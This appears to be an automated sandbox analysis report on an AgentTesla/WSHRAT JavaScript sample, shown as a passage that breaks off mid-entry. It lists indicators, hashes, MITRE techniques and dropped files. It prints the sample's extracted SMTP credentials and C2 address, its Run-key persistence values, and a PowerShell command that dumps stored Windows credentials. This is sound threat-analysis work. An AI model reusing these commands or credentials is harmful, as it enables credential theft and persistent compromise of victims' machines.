agenttesla | e35016186e8dff3f9ee75a334d35070c5158b0c0decd15dd93422370bf606240

Analysis

max time kernel
63s
max time network
152s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
10-05-2023 07:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

008460102.js
Size

2.5MB
MD5

bba07c7c35aa193fc88ada6ed9956b4a
SHA1

34313cdbe727f52267cdb48b9ef4acea839f4821
SHA256

e35016186e8dff3f9ee75a334d35070c5158b0c0decd15dd93422370bf606240
SHA512

fa5a40e44e634b94a967e28c2df580808a3b0712f2b379be97263991eae9d500a4cec682693d15830f165cda2c41da02208c33d74c67b77ff3f3ca18c2473856
SSDEEP

6144:8zqVR8dQUuv5EXuI4bgVFLKEOyH7ahd8V8qjxhL8sIJ8mu2oOs4wnabH/rwGgArJ:Z9kCT1b

Score

10^/10

agenttesla wshrat collection keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.egyptscientific.com
Port:
587
Username:
[email protected]
Password:
ibrahim@1234
Email To:
[email protected]

Extracted

Family

wshrat

http://45.90.222.125:7121

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/files/0x0003000000020ce5-24257.dat	MailPassView

Nirsoft 1 IoCs

resource	yara_rule
behavioral1/files/0x0003000000020ce5-24257.dat	Nirsoft

Blocklisted process makes network request 8 IoCs

flow	pid	Process
2	2032	wscript.exe
3	1488	wscript.exe
8	1488	wscript.exe
9	1488	wscript.exe
14	1488	wscript.exe
15	1488	wscript.exe
16	1488	wscript.exe
18	1488	wscript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\008460102.js	wscript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\008460102.js	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1264	Gmhot.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gmhot.exe
Key opened	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gmhot.exe
Key opened	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gmhot.exe

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows\CurrentVersion\Run\PkvdRn = "C:\\Users\\Admin\\AppData\\Roaming\\PkvdRn\\PkvdRn.exe"	Gmhot.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows\CurrentVersion\Run\008460102 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\008460102.js\""	wscript.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\run	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\software\microsoft\windows\currentversion\run	wscript.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows\CurrentVersion\Run\008460102 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\008460102.js\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\008460102 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\008460102.js\""	wscript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\008460102 = "wscript.exe //B \"C:\\Users\\Admin\\AppData\\Roaming\\008460102.js\""	wscript.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com
10	api.ipify.org
11	api.ipify.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 3 IoCs

evasion

pid	Process
11040	taskkill.exe
3332	taskkill.exe
3468	taskkill.exe

Script User-Agent 20 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	28	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	29	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	9	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	14	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	15	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	20	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	27	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	31	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	32	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	33	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	25	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	26	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	22	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	23	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	24	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	30	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	16	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India
HTTP User-Agent header	21	WSHRAT\|7031BB36\|BPOQNXYB\|Admin\|Microsoft Windows 7 Ultimate \|plus\|nan-av\|false - 10/5/2023\|JavaScript-v3.4\|IN:India

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1264	Gmhot.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1264	Gmhot.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 1488	2032	wscript.exe	29
PID 2032 wrote to memory of 1488	2032	wscript.exe	29
PID 2032 wrote to memory of 1488	2032	wscript.exe	29
PID 1488 wrote to memory of 1264	1488	wscript.exe	30
PID 1488 wrote to memory of 1264	1488	wscript.exe	30
PID 1488 wrote to memory of 1264	1488	wscript.exe	30
PID 1488 wrote to memory of 1264	1488	wscript.exe	30

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gmhot.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Gmhot.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\008460102.js
1⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //B "C:\Users\Admin\AppData\Roaming\008460102.js"
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1488
- - C:\Users\Admin\AppData\Roaming\Gmhot.exe
    "C:\Users\Admin\AppData\Roaming\Gmhot.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - outlook_office_path
    - outlook_win_path
    PID:1264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ } > "C:\Users\Admin\AppData\Local\Temp\tmp.txt"
    3⤵
    PID:9112
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cd "C:\Users\Admin\AppData\Roaming\wshsdk" && C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll > "C:\Users\Admin\AppData\Roaming\wshout"
    3⤵
    PID:9832
  - - C:\Users\Admin\AppData\Roaming\wshsdk\python.exe
      C:\Users\Admin\AppData\Roaming\wshsdk\python.exe C:\Users\Admin\AppData\Roaming\rundll
      4⤵
      PID:9468
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
    3⤵
    PID:11036
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cmdc.exe
      4⤵
      Kills process with taskkill
      PID:11040
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
    3⤵
    PID:3408
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cmdc.exe
      4⤵
      Kills process with taskkill
      PID:3332
- - C:\Users\Admin\AppData\Roaming\cmdc.exe
    "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
    3⤵
    PID:10700
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c taskkill /F /IM cmdc.exe
    3⤵
    PID:3436
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM cmdc.exe
      4⤵
      Kills process with taskkill
      PID:3468
- - C:\Users\Admin\AppData\Roaming\cmdc.exe
    "C:\Users\Admin\AppData\Roaming\cmdc.exe" /stext C:\Users\Admin\AppData\Roaming\cmdc.exedata
    3⤵
    PID:3404
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c mkdir "C:\Users\Admin\AppData\Roaming\wshlogs"
    3⤵
    PID:3616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\008460102.js

Filesize
2.5MB

MD5
bba07c7c35aa193fc88ada6ed9956b4a

SHA1
34313cdbe727f52267cdb48b9ef4acea839f4821

SHA256
e35016186e8dff3f9ee75a334d35070c5158b0c0decd15dd93422370bf606240

SHA512
fa5a40e44e634b94a967e28c2df580808a3b0712f2b379be97263991eae9d500a4cec682693d15830f165cda2c41da02208c33d74c67b77ff3f3ca18c2473856

Download Submit
C:\Users\Admin\AppData\Roaming\CMDCEX~1.ZIP

Filesize
53KB

MD5
a8e496443115a63697cb350f47ae1729

SHA1
a69779b57ecc8457e85066e7a5ab742c70ea653d

SHA256
6f3cf374a1aa961be87dde5aaeb1706d95cdcadbd1a4c961363e5ff33fab168d

SHA512
0c3c5504567912cfd8cf40664463cdc518ce6810bfd05af91ffee30b13f4e115a93f6faae8e5c8aa88ee91e2c3b4404126dbdfcffb82aa2625199e432a3cea9c

Download Submit
C:\Users\Admin\AppData\Roaming\Gmhot.exe

Filesize
165KB

MD5
9174c08e0ea67a940b29c2464e6c762e

SHA1
65e3a13c5c8004fcdfe0603a03d6ef127fe68881

SHA256
9108ee00bdf6e89257bed6e57902ec4ea496c1b90ff659e41927a30ef4a98d49

SHA512
0611ed661fc0b5e559d5998a053ee78da935e7d6af875ec69f00b5b8d26f0521712051ec110ba534cc5a9969c369f05082bc98dfeabb0c481dbd0464991643e2

Download Submit
C:\Users\Admin\AppData\Roaming\Gmhot.exe

Filesize
165KB

MD5
9174c08e0ea67a940b29c2464e6c762e

SHA1
65e3a13c5c8004fcdfe0603a03d6ef127fe68881

SHA256
9108ee00bdf6e89257bed6e57902ec4ea496c1b90ff659e41927a30ef4a98d49

SHA512
0611ed661fc0b5e559d5998a053ee78da935e7d6af875ec69f00b5b8d26f0521712051ec110ba534cc5a9969c369f05082bc98dfeabb0c481dbd0464991643e2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\008460102.js

Filesize
2.5MB

MD5
bba07c7c35aa193fc88ada6ed9956b4a

SHA1
34313cdbe727f52267cdb48b9ef4acea839f4821

SHA256
e35016186e8dff3f9ee75a334d35070c5158b0c0decd15dd93422370bf606240

SHA512
fa5a40e44e634b94a967e28c2df580808a3b0712f2b379be97263991eae9d500a4cec682693d15830f165cda2c41da02208c33d74c67b77ff3f3ca18c2473856

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\008460102.js

Filesize
2.5MB

MD5
bba07c7c35aa193fc88ada6ed9956b4a

SHA1
34313cdbe727f52267cdb48b9ef4acea839f4821

SHA256
e35016186e8dff3f9ee75a334d35070c5158b0c0decd15dd93422370bf606240

SHA512
fa5a40e44e634b94a967e28c2df580808a3b0712f2b379be97263991eae9d500a4cec682693d15830f165cda2c41da02208c33d74c67b77ff3f3ca18c2473856

Download Submit
C:\Users\Admin\AppData\Roaming\PkvdRn\PkvdRn.exe

Filesize
165KB

MD5
9174c08e0ea67a940b29c2464e6c762e

SHA1
65e3a13c5c8004fcdfe0603a03d6ef127fe68881

SHA256
9108ee00bdf6e89257bed6e57902ec4ea496c1b90ff659e41927a30ef4a98d49

SHA512
0611ed661fc0b5e559d5998a053ee78da935e7d6af875ec69f00b5b8d26f0521712051ec110ba534cc5a9969c369f05082bc98dfeabb0c481dbd0464991643e2

Download Submit
C:\Users\Admin\AppData\Roaming\cmdc.exe

Filesize
100KB

MD5
54e8ded7b148a13d3363ac7b33f6eb06

SHA1
63dcbe2db9cc14564eb84d5e953f2f9f5c54acd9

SHA256
400b411a9bffd687c5e74f51d43b7dc92cdb8d5ca9f674456b75a5d37587d342

SHA512
bf6d047bb55150b2369bdd7dfea9c815894af2e05e5b45f2eedf67d5d6a9569189ee495870fddf334a173a4beed62d2a08807c000d4c47339ac76b760b4ae349

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk.zip

Filesize
12.4MB

MD5
d9a63dfd8b73629421bb44bcde09f312

SHA1
7855575c12eaee0e734f3901ca1da2931e9b587a

SHA256
9d5bb028794410fda9d1b3e0f8deb6beee5bd4e1e55340bd375a209c81dc98eb

SHA512
df195c22f7818569cc92e995846ab507caa30f341ac902cc8afe6f06ae4493709e7f80357c91cf14b21e58e2154e0b35f2154d8a313bf36fcff0b72b3a539cf8

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\Lib\SITE-P~1\adodbapi\test\is64bit.py

Filesize
1KB

MD5
ca2cc8e73bbca371935bbc92ed18d567

SHA1
1adb458919e842cd78c72b1ff00e5e93cb6ef75e

SHA256
bea3f797921992fda45c19db41e10e3b325bcdd3ea35d35c1fa70535477ad9c1

SHA512
b63df3bad9272f45ba0f50e2c50aaed7a04eb1b000d5855d9f3a8e5c5f2d381c667b1e9c1e1f03f80584a7941a96992838664ae9dd25e1b8320e026da35b8223

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\VCRUNTIME140.dll

Filesize
84KB

MD5
ae96651cfbd18991d186a029cbecb30c

SHA1
18df8af1022b5cb188e3ee98ac5b4da24ac9c526

SHA256
1b372f064eacb455a0351863706e6326ca31b08e779a70de5de986b5be8069a1

SHA512
42a58c17f63cf0d404896d3b4bb16b2c9270cc2192aa4c9be265ed3970dfc2a4115e1db08f35c39e403b4c918be4ed7d19d2e2e015cb06b33d26a6c6521556e7

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-file-l1-2-0.dll

Filesize
17KB

MD5
e2f648ae40d234a3892e1455b4dbbe05

SHA1
d9d750e828b629cfb7b402a3442947545d8d781b

SHA256
c8c499b012d0d63b7afc8b4ca42d6d996b2fcf2e8b5f94cacfbec9e6f33e8a03

SHA512
18d4e7a804813d9376427e12daa444167129277e5ff30502a0fa29a96884bf902b43a5f0e6841ea1582981971843a4f7f928f8aecac693904ab20ca40ee4e954

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-file-l2-1-0.dll

Filesize
17KB

MD5
e479444bdd4ae4577fd32314a68f5d28

SHA1
77edf9509a252e886d4da388bf9c9294d95498eb

SHA256
c85dc081b1964b77d289aac43cc64746e7b141d036f248a731601eb98f827719

SHA512
2afab302fe0f7476a4254714575d77b584cd2dc5330b9b25b852cd71267cda365d280f9aa8d544d4687dc388a2614a51c0418864c41ad389e1e847d81c3ab744

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-localization-l1-2-0.dll

Filesize
20KB

MD5
eff11130bfe0d9c90c0026bf2fb219ae

SHA1
cf4c89a6e46090d3d8feeb9eb697aea8a26e4088

SHA256
03ad57c24ff2cf895b5f533f0ecbd10266fd8634c6b9053cc9cb33b814ad5d97

SHA512
8133fb9f6b92f498413db3140a80d6624a705f80d9c7ae627dfd48adeb8c5305a61351bf27bbf02b4d3961f9943e26c55c2a66976251bb61ef1537bc8c212add

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-processthreads-l1-1-1.dll

Filesize
18KB

MD5
d0289835d97d103bad0dd7b9637538a1

SHA1
8ceebe1e9abb0044808122557de8aab28ad14575

SHA256
91eeb842973495deb98cef0377240d2f9c3d370ac4cf513fd215857e9f265a6a

SHA512
97c47b2e1bfd45b905f51a282683434ed784bfb334b908bf5a47285f90201a23817ff91e21ea0b9ca5f6ee6b69acac252eec55d895f942a94edd88c4bfd2dafd

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-synch-l1-2-0.dll

Filesize
18KB

MD5
0d1aa99ed8069ba73cfd74b0fddc7b3a

SHA1
ba1f5384072df8af5743f81fd02c98773b5ed147

SHA256
30d99ce1d732f6c9cf82671e1d9088aa94e720382066b79175e2d16778a3dad1

SHA512
6b1a87b1c223b757e5a39486be60f7dd2956bb505a235df406bcf693c7dd440e1f6d65ffef7fde491371c682f4a8bb3fd4ce8d8e09a6992bb131addf11ef2bf9

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-core-timezone-l1-1-0.dll

Filesize
17KB

MD5
babf80608fd68a09656871ec8597296c

SHA1
33952578924b0376ca4ae6a10b8d4ed749d10688

SHA256
24c9aa0b70e557a49dac159c825a013a71a190df5e7a837bfa047a06bba59eca

SHA512
3ffffd90800de708d62978ca7b50fe9ce1e47839cda11ed9e7723acec7ab5829fa901595868e4ab029cdfb12137cf8ecd7b685953330d0900f741c894b88257b

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-conio-l1-1-0.dll

Filesize
18KB

MD5
6ea692f862bdeb446e649e4b2893e36f

SHA1
84fceae03d28ff1907048acee7eae7e45baaf2bd

SHA256
9ca21763c528584bdb4efebe914faaf792c9d7360677c87e93bd7ba7bb4367f2

SHA512
9661c135f50000e0018b3e5c119515cfe977b2f5f88b0f5715e29df10517b196c81694d074398c99a572a971ec843b3676d6a831714ab632645ed25959d5e3e7

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-convert-l1-1-0.dll

Filesize
21KB

MD5
72e28c902cd947f9a3425b19ac5a64bd

SHA1
9b97f7a43d43cb0f1b87fc75fef7d9eeea11e6f7

SHA256
3cc1377d495260c380e8d225e5ee889cbb2ed22e79862d4278cfa898e58e44d1

SHA512
58ab6fedce2f8ee0970894273886cb20b10d92979b21cda97ae0c41d0676cc0cd90691c58b223bce5f338e0718d1716e6ce59a106901fe9706f85c3acf7855ff

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-environment-l1-1-0.dll

Filesize
18KB

MD5
ac290dad7cb4ca2d93516580452eda1c

SHA1
fa949453557d0049d723f9615e4f390010520eda

SHA256
c0d75d1887c32a1b1006b3cffc29df84a0d73c435cdcb404b6964be176a61382

SHA512
b5e2b9f5a9dd8a482169c7fc05f018ad8fe6ae27cb6540e67679272698bfca24b2ca5a377fa61897f328b3deac10237cafbd73bc965bf9055765923aba9478f8

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-filesystem-l1-1-0.dll

Filesize
19KB

MD5
aec2268601470050e62cb8066dd41a59

SHA1
363ed259905442c4e3b89901bfd8a43b96bf25e4

SHA256
7633774effe7c0add6752ffe90104d633fc8262c87871d096c2fc07c20018ed2

SHA512
0c14d160bfa3ac52c35ff2f2813b85f8212c5f3afbcfe71a60ccc2b9e61e51736f0bf37ca1f9975b28968790ea62ed5924fae4654182f67114bd20d8466c4b8f

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-heap-l1-1-0.dll

Filesize
18KB

MD5
93d3da06bf894f4fa21007bee06b5e7d

SHA1
1e47230a7ebcfaf643087a1929a385e0d554ad15

SHA256
f5cf623ba14b017af4aec6c15eee446c647ab6d2a5dee9d6975adc69994a113d

SHA512
72bd6d46a464de74a8dac4c346c52d068116910587b1c7b97978df888925216958ce77be1ae049c3dccf5bf3fffb21bc41a0ac329622bc9bbc190df63abb25c6

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-locale-l1-1-0.dll

Filesize
18KB

MD5
a2f2258c32e3ba9abf9e9e38ef7da8c9

SHA1
116846ca871114b7c54148ab2d968f364da6142f

SHA256
565a2eec5449eeeed68b430f2e9b92507f979174f9c9a71d0c36d58b96051c33

SHA512
e98cbc8d958e604effa614a3964b3d66b6fc646bdca9aa679ea5e4eb92ec0497b91485a40742f3471f4ff10de83122331699edc56a50f06ae86f21fad70953fe

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-math-l1-1-0.dll

Filesize
28KB

MD5
8b0ba750e7b15300482ce6c961a932f0

SHA1
71a2f5d76d23e48cef8f258eaad63e586cfc0e19

SHA256
bece7bab83a5d0ec5c35f0841cbbf413e01ac878550fbdb34816ed55185dcfed

SHA512
fb646cdcdb462a347ed843312418f037f3212b2481f3897a16c22446824149ee96eb4a4b47a903ca27b1f4d7a352605d4930df73092c380e3d4d77ce4e972c5a

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-process-l1-1-0.dll

Filesize
18KB

MD5
8d02dd4c29bd490e672d271700511371

SHA1
f3035a756e2e963764912c6b432e74615ae07011

SHA256
c03124ba691b187917ba79078c66e12cbf5387a3741203070ba23980aa471e8b

SHA512
d44ef51d3aaf42681659fffff4dd1a1957eaf4b8ab7bb798704102555da127b9d7228580dced4e0fc98c5f4026b1bab242808e72a76e09726b0af839e384c3b0

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-runtime-l1-1-0.dll

Filesize
22KB

MD5
41a348f9bedc8681fb30fa78e45edb24

SHA1
66e76c0574a549f293323dd6f863a8a5b54f3f9b

SHA256
c9bbc07a033bab6a828ecc30648b501121586f6f53346b1cd0649d7b648ea60b

SHA512
8c2cb53ccf9719de87ee65ed2e1947e266ec7e8343246def6429c6df0dc514079f5171acd1aa637276256c607f1063144494b992d4635b01e09ddea6f5eef204

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-stdio-l1-1-0.dll

Filesize
23KB

MD5
fefb98394cb9ef4368da798deab00e21

SHA1
316d86926b558c9f3f6133739c1a8477b9e60740

SHA256
b1e702b840aebe2e9244cd41512d158a43e6e9516cd2015a84eb962fa3ff0df7

SHA512
57476fe9b546e4cafb1ef4fd1cbd757385ba2d445d1785987afb46298acbe4b05266a0c4325868bc4245c2f41e7e2553585bfb5c70910e687f57dac6a8e911e8

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-string-l1-1-0.dll

Filesize
22KB

MD5
404604cd100a1e60dfdaf6ecf5ba14c0

SHA1
58469835ab4b916927b3cabf54aee4f380ff6748

SHA256
73cc56f20268bfb329ccd891822e2e70dd70fe21fc7101deb3fa30c34a08450c

SHA512
da024ccb50d4a2a5355b7712ba896df850cee57aa4ada33aad0bae6960bcd1e5e3cee9488371ab6e19a2073508fbb3f0b257382713a31bc0947a4bf1f7a20be4

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\api-ms-win-crt-time-l1-1-0.dll

Filesize
20KB

MD5
849f2c3ebf1fcba33d16153692d5810f

SHA1
1f8eda52d31512ebfdd546be60990b95c8e28bfb

SHA256
69885fd581641b4a680846f93c2dd21e5dd8e3ba37409783bc5b3160a919cb5d

SHA512
44dc4200a653363c9a1cb2bdd3da5f371f7d1fb644d1ce2ff5fe57d939b35130ac8ae27a3f07b82b3428233f07f974628027b0e6b6f70f7b2a8d259be95222f5

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\lib\__pycache__\abc.cpython-37.pyc

Filesize
6KB

MD5
cea4fa818d4468f70d14cae1c3fa9593

SHA1
cb060d183cb2f4850d2199a51e82301f653d51c4

SHA256
f64180d0a00e09801d9fa616f7fc21ffc7bb532b19209320059eb3d126e0485f

SHA512
9f434ebacc2d75483b00c4ee687ccd8df69dde06bbf1cb7bb32e7d6ca5db82130f78543a8166446a49fcd51ade6e2f983eb2469dcde0e1f6d4da595fbd01d3a2

Download Submit
C:\Users\Admin\AppData\Roaming\wshsdk\lib\__pycache__\codecs.cpython-37.pyc

Filesize
33KB

MD5
31a2fe679cad1b609caba7c961f43d70

SHA1
21d411d11ce126c054ea70f90196c81b18eaa550

SHA256
6b903c49e04070578aa47a378ff830bc9407be92c8b952a134cec40e944fa30d

SHA512
